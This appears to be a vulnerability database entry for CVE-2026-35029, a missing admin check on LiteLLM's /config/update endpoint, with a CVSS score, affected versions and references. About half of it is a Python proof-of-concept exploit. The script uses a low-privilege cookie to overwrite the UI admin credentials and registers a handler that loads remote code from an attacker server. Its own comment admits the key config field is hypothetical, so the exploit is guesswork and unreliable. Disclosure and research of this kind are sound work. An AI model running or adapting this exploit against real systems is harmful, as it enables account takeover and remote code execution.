CVE-2026-35029

Description

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.83.0, the /config/update endpoint does not enforce admin role authorization. A user who is already authenticated into the platform can then use this endpoint to modify proxy configuration and environment variables, register custom pass-through endpoint handlers pointing to attacker-controlled Python code, achieving remote code execution, read arbitrary server files by setting UI_LOGO_PATH and fetching via /get_image, and take over other privileged accounts by overwriting UI_USERNAME and UI_PASSWORD environment variables. Fixed in v1.83.0.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:* - VULNERABLE

LiteLLM < 1.83.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit for CVE-2026-35029: LiteLLM Config Update RCE
# Target: LiteLLM < 1.83.0

TARGET_URL = "http://target-litellm-host:8000/config/update"
ATTACKER_PAYLOAD_URL = "http://attacker-server.com/malicious_payload.py"

# Attacker needs a valid session cookie (low-privileged user)
COOKIE = {"_llm_user_token": "valid_low_priv_user_token"}

# Malicious configuration to achieve RCE via custom passthrough handler
# This payload attempts to register a handler that loads remote code
malicious_config = {
    "environment_variables": [
        {
            "key": "UI_USERNAME",
            "value": "hacker"
        },
        {
            "key": "UI_PASSWORD",
            "value": "pwned"
        }
    ],
    "litellm_settings": {
        # Hypothetical field to register custom handler based on vuln description
        "custom_callback": ATTACKER_PAYLOAD_URL 
    }
}

try:
    print("[+] Sending malicious config update request...")
    response = requests.post(TARGET_URL, json=malicious_config, cookies=COOKIE, timeout=10)
    
    if response.status_code == 200:
        print("[+] Configuration updated successfully!")
        print("[+] Check if UI_PASSWORD changed or RCE triggered.")
    else:
        print(f"[-] Request failed: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35029
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35029
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35029/
[4] VulDB https://vuldb.com/cve/CVE-2026-35029
[5] https://github.com/BerriAI/litellm/security/advisories/GHSA-53mr-6c8q-9789
[6] http://seclists.org/fulldisclosure/2026/Apr/17

Raw JSON Data

JSON

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